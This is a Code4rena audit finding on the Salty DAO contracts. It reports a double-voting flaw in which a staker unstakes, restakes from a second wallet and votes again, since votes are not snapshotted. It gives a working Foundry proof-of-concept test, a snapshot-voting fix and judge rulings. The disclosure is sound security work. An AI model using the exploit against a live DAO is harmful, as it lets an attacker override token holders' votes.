Users can vote multiple times with the same tokens

[c4-bot-10]

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L259

Vulnerability details

Bug Description

In the Salty DAO's governance mechanism, stakers use their staked salt to vote on ballots through the castVote() function.

However, there is a vulnerability where users can unstake their tokens after voting, wait for a part of their staked tokens to become retrievable, restake them using a different address, and vote again on the same proposal. This exploit is possible because the current system does not utilize snapshot-based voting, which would restrict users to voting with the power they held at the time of the ballot's creation.

Impact

This loophole allows malicious stakers to inflate their voting power artificially. They can effectively vote multiple times with the same tokens by restaking them under different addresses, potentially swaying the outcome of proposals and passing malicious ones without genuine consensus from the staker community.

Proof of Concept

The provided Solidity code showcases an instance where a user exploits the system to vote twice on a proposal:

function testDoubleVote() public
{
    // ----------------------------- SETUP -----------------------------

    address charlie = address(0x3333);

    // Set minUnstakeWeeks to 1 which is in the allowed range
    vm.store(address(stakingConfig), bytes32(uint256(1)), bytes32(uint256(1)));

    // Set minUnstakePercent to 50% which is in the allowed range
    vm.store(address(stakingConfig), bytes32(uint256(3)), bytes32(uint256(50)));

    vm.startPrank(alice);
    //Transfer 55% to bob
    salt.transfer(bob, 5500000 ether);
    //Stake the left 45% of salt
    staking.stakeSALT(4500000 ether);
    vm.stopPrank();

    vm.startPrank(bob);
    //Stake 55% of salt
    salt.approve(address(staking), type(uint256).max);
    staking.stakeSALT(5500000 ether);
    vm.stopPrank();

    // ----------------------------- TEST -----------------------------

    //Alice proposes the country exclusion
    vm.startPrank(alice);
    proposals.proposeCountryExclusion( "ZZ", "description" );

    //Alice votes with her 45% of staked 
    proposals.castVote(1, Vote.YES);

    //Afterwards alice unstakes her funds
    uint256 id = staking.unstake(4500000 ether, 1);

    vm.stopPrank();

    vm.startPrank(bob);

    //Bob votes with his 55% of staked against the proposal
    proposals.castVote(1, Vote.NO);
    vm.stopPrank();

    // A week passes
    vm.warp(block.timestamp + 8 days);

    vm.startPrank(alice);
    //Alice retrieves her staked funds
    staking.recoverSALT(id);

    assertTrue(salt.balanceOf(address(alice)) == 2250000 ether, "Alice should have recovered 50% of her SALT");

    // Alice transfers the salt to her 2nd wallet (charlie)
    salt.transfer(charlie, 2250000 ether);

    vm.stopPrank();
    vm.startPrank(charlie);

    // Now alice restakes the retrieved funds
    salt.approve(address(staking), type(uint256).max);
    staking.stakeSALT(2250000 ether);

    // Alice votes again
    proposals.castVote(1, Vote.YES);

    // The proposal finishes
    vm.warp(block.timestamp + 3 days);

    //The ballot gets passed although onlz 45% of tokens voted for it and 55% against it
    dao.finalizeBallot(1);
    assertTrue(dao.countryIsExcluded("ZZ"), "ZZ should be excluded");
}

The test must be added to /dao/tests/Dao.t.sol and can be run by calling COVERAGE="yes" NETWORK="sep" forge test -vvvv --rpc-url https://rpc.sepolia.org --match-test "testDoubleVote".

Tools Used

Manual Review

Recommended Mitigation Steps

To address this vulnerability, it is recommended to adopt a snapshot-based voting mechanism. This can be effectively implemented using the ERC20Votes library for XSalt tokens. The snapshot system would capture the state of each voter's stake at the time of ballot creation, ensuring that their voting power remains fixed for the duration of the vote. This change would prevent the possibility of double voting with the same staked tokens, thereby preserving the integrity of the voting process and ensuring fair and accurate representation of the staker community's consensus.

Assessed type

Governance

[c4-judge]

Picodes marked the issue as duplicate of #746

[c4-judge]

Picodes changed the severity to 2 (Med Risk)

[c4-judge]

Picodes marked the issue as satisfactory